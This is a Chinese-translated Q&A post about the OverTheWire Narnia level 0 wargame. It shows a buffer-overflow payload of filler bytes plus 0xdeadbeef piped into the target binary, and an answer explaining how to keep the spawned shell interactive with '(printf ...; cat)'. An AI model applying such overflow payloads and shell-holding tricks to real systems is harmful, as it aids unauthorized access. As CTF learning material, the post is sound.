我正在做一个overthewire的CTF,这一挑战要求发送一些难以复制和粘贴到流程narnia0
中的字符。在该过程中,对/bin/sh
进行了系统调用,但是由于xxd
的标准输出被重定向到narnia0
的标准输入,因此我无法使用外壳。
我该如何解决?在narnia0
的标准输出被使用(或过程结束)之后,如何将xxd
的标准输入重新附加到终端的标准输出?
这是外壳代码:
echo 3030303030303030303030303030303030303030efbeadde | xxd -r -p | ./narnia0
修改
这是一个简单的例子:
Example.c
#include <stdio.h>
#include <stdlib.h>
int main() {
system("/bin/sh");
return 0;
}
编译:
gcc -o example ./example.c
说明问题的示例:
echo bla | ./example
结果是:
/bin/sh: line 1: bla: command not found
期望的行为是什么,但是之后如何将stdin重新连接到我的终端?
答案 0 :(得分:1)
也许从问题中删除xxd
会有所帮助?
(printf '\x30...\xef\xbe\xad\xde'; cat) | ./narnia0
或者,只留下echo
:
(echo -ne '\x30...\xef\xbe\xad\xde'; cat) | ./narnia0
编辑:添加了cat
,可将输入/输出添加到后续外壳程序中